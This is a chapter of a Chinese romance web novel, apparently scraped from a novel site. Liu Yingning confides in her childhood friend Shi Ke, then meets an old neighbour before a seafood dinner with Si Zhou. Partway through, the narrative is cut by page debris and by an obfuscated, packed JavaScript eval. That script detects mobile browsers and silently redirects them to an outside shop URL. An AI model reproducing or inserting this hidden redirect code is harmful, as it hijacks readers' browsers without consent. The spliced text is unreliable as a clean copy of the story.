17. 香草奶昔
    时客的手在半空中顿了顿,随后才一手抚着柳婴宁的头,一手放在她的背上。

    “对不起。”时客说,一改以往随性懒散的语气,“我来晚了。”

    他跟范拂雪说完事、从咖啡馆出来之后并没有开车,而是走路来餐厅接柳婴宁。

    他在路上思考范拂雪说的那些话,思考自己对柳婴宁这么关心,是不是仅仅为了不负柳安的嘱托。

    十分钟前,司粥给时客发信息说柳婴宁又被向论磁欺负了,时客根本没心情再多想,飞奔而来。

    还是晚了。

    她难过了。

    柳婴宁没吭声,不哭不闹,就抱着时客。

    许久,柳婴宁终于松开手,坐回原来的位置。

    时客也收回手,坐在她的身边,不说话,默默陪着她。

    “明天晚上你陪我吃饭。”柳婴宁说。

    时客皱眉。

    “怎么了?”柳婴宁见他皱眉,忙说,“你想拒绝我?不行!”

    时客摇摇头:“不是。”

    “那你不理我。”

    “我在想。”

    “想什么?”

    “想,你为什么不告诉我你不高兴。”

    柳婴宁低下头,不说话了。

    时客也难过了,为柳婴宁。

    她一直都很懂事,小时候受了委屈从不跟柳安和崔玉娟说,如果不是偶尔被时客知道,她甚至连宣泄的地方都没有。

    时客曾问过柳婴宁为什么不向别人倾诉,柳婴宁的回答让他沉默。

    她的父母工作辛苦,早出晚归,披星戴月。她的朋友年龄不大,没心没肺,有时候还会不小心透露别人的秘密。

    她找不到合适的、值得信任的人倾诉。

    那时候时客就说,他可以,他可以值得她信赖。

    柳婴宁信了,伤心了委屈了都找时客。

    后来,时客也忘了是从什么时候开始,柳婴宁不爱在他面前说伤心事了。

    “你能告诉我为什么吗?”时客忍不住问。

    柳婴宁沉默了很久很久。

    她也答不上来。

    或许,或许是因为她害怕时客嫌她烦,认为她是个累赘,然后再也不想照顾她。

    “如果你还信任我,”时客抬头,直视前方不远处的沙滩和大海,夜色中的海滩很是神秘,“你可以继续向我倾诉。”他把话说完。

    听了这句话的柳婴宁生出满满的委屈,一种只在时客面前表现出来的委屈。

    柳婴宁到底没崩住,侧身又抱住了时客:“他大爷的,我真的好烦那个向论磁啊……”

    ……

    ……

    柳婴宁吐槽了半小时。

    “总之,就是这样。”柳婴宁宣泄完,感觉心情都变好了,“我烦死他了,我的事儿跟他有什么关系?脚踏两只船?我脚踏两百只船都跟他没关系!”

    柳婴宁不是不会怼人,只是在镜头前不能太过分。

    她家境一般,没办法像司粥那样让摄像师删视频,也没办法说服节目组别利用她的言行炒热度,所以只能谨慎谨慎再谨慎,不然被网暴了就麻烦了。

    其实柳婴宁跟时客吐槽完就不委屈了,她觉得委屈,只是因为时客来了,恰好她跟人吵架没吵赢。

    时客从她的语气中听出她已经不难过了,幽幽说:“你要不脚踏两千只船?”

    柳婴宁“嘿嘿”笑:“我那不是开玩笑嘛。”

    时客摇摇头,站起身:“走吧,回家了。”

    柳婴宁跟上:“嗯嗯!”又说,“对了,我刚刚说明晚一起吃饭不是开玩笑哈!”

    “哦,就我俩?”

    “哈哈,你们社恐是不是都喜欢问这种问题啊?‘就我们’‘没有别人吧’‘有我认识的吗’等等。”柳婴宁大笑。

    柳婴宁和时客渐行渐远,一直在二人身后坐着的司粥听到柳婴宁的笑声,有些懵。

    那什么……她哥这发小的情绪变得也太快了吧?

    刚刚不还很难过吗?

    ……

    ……

    回到家,柳婴宁做了两杯香草奶昔,给了时客一杯,然后迅速溜掉,生怕时客问她当时为什么要抱他。

    柳婴宁不后悔主动抱了时客,但只要一回想,她就脸红。

    不能再脸红了。

    柳婴宁快速洗漱完毕,接着一边喝奶昔,一边躺在床上搜临潇岛的美食排行榜,挑选明天请时客和司粥吃饭的地方。

    节目录制完了以后,柳婴宁放松了许多,次日一下午都在甜品店外的桃树下坐着看电视剧。

    司粥主演的。

    司粥出道时间不长,但人气挺高,目前主演了两部剧,一部古代一部现代,二者的拍摄时间间隔了一年。

    司粥是非科班出生,可客观上讲,柳婴宁真的觉得她演技不错,第二部剧比第一部剧表演得更细腻了,看得出来,司粥在表演上很有天赋,也很努力。

    时客端着两杯卡布奇诺从店里走出来:“在看什么?”

    柳婴宁说:“电视剧,司粥演的,我感觉她演得好好。”

    司粥平时傲是傲,但做正事认真,不然她不可能把角色演得那么惟妙惟肖,还能说出很多自己对角色的理解。

    时客看了一眼司粥的脸,移开目光。

    “晚上吃什么?”时客问。

    “海鲜。”柳婴宁说,“我已经订好餐位了。”

    “行。”时客进店里,偷笑去。

    柳婴宁要和他一起吃晚饭唉,还是她邀请的那种。

    ……

    ……

    晚上到点之后,柳婴宁和时客一起前往岛东的海鲜餐厅。海鲜餐厅离柳婴宁录综艺的那家餐厅很近,柳婴宁没看导航就找到了它的位置。

    快到海鲜店门口的时候,柳婴宁在人群中看到一个熟人。

    “是杜阳诶。”柳婴宁轻轻撞了撞时客的胳膊,“咱们院里的那位。没想到他也来临潇岛了。”

    高中以前,柳婴宁一家一直住在越海市墨县的一个大院里,大院有三层楼,一二层住人,第三层是露天的,大家会在那儿晾衣服和打牌。</p

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14228359|151309||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    >

    柳婴宁家住一楼,隔壁是时客及其爷爷,对面是一家姓杜的三口之家。

    后来大院被拆迁,院里的人各找出路和住房,但多多少少都有联系。

    时客看到杜阳了,只不过他早就跟对方没联系了,所以并不想跟杜阳打招呼:“不管他。”

    时客打算低头玩手机,假装没看见杜阳。

    柳婴宁看出了他的想法,说:“也行,那等我之后联系他出来聚。”

    “你还想单独跟他出去聚?”

    “不是啊,我到时候问问还有谁来了临潇岛,或者去越海市聚也行……”柳婴宁连忙解释,“你又不是不知道,我长这么大,除了你,还没跟哪个男生单独出去过呢。”

    这是事实,柳安虽然放养柳婴宁,但还是禁止柳婴宁独自和某个男生待一起。

    除了时客。

    崔玉娟还开过玩笑,说也不知道柳安到底是有多信任多喜欢时客这小伙子。

    听了柳婴宁的后一句话,时客心花怒放,又不好表现出来,轻咳一声,冷淡地说:“哦。”

    两人正说着话,那边的杜阳已经看到他们了。

    “婴宁,时哥!”杜阳站在街道对面喊,过马路走来,“真巧啊,没想到能在这里遇到你俩。”

    小时候的杜阳胖胖的,现在也是,穿着宽松的蓝白条纹T恤也挡不住他的大肚子。

    时客不知道怎么跟杜阳寒暄,熟练地往柳婴宁身后躲。

    杜阳注意到了,小眼睛一眯,哈哈大笑:“时哥,都这么多年了,你咋还躲在婴宁身后?话说回来,你俩感情真好,居然还在一起。”

    初中,青春期,孩子们对爱情有了朦胧的认知,院里的同辈小孩儿最爱打趣总黏在一起的柳婴宁和时客,用幼稚的话猜测他俩以后肯定会结婚。

    二人多次否认无果,也就不反驳了。

    反正他们行端坐正,不怕被人误会。

    可不知从什么时候开始,柳婴宁开始害怕别人开这种玩笑。

    她很担心时客听别人那么说了以后,会与她拉开距离。

    “别乱说别乱说,我俩只是刚好都在临潇岛工作。”柳婴宁连忙转移话题,“你也来临潇岛工作了吗?”

    杜阳摇摇头:“不是,我就是来玩的。”

    柳婴宁点点头,熟练地跟杜阳客套寒暄。

    聊了六七分钟之后,杜阳提出有时间出来聚,先行离开了。

    杜阳走后,一直站在柳婴宁身后不说话的时客忽然开口:“明明你以前也不喜欢跟人交流的。”

    初中以前的柳婴宁很内向。

    “没办法,当时被我妈逼着多跟人打交道,这些年来习惯了倒也觉得无所谓了。”柳婴宁耸了耸肩。

    二人一边聊一边进入海鲜餐厅,刚进来,就碰到从另一边走来的司粥。

    “司粥,这儿!”柳婴宁挥挥手。

    司粥闻声转来,先是看了一眼时客,再看柳婴宁,问:“他谁?”

    时客一脸不爽地回视司粥,然后也问柳婴宁:“不是只有我俩?”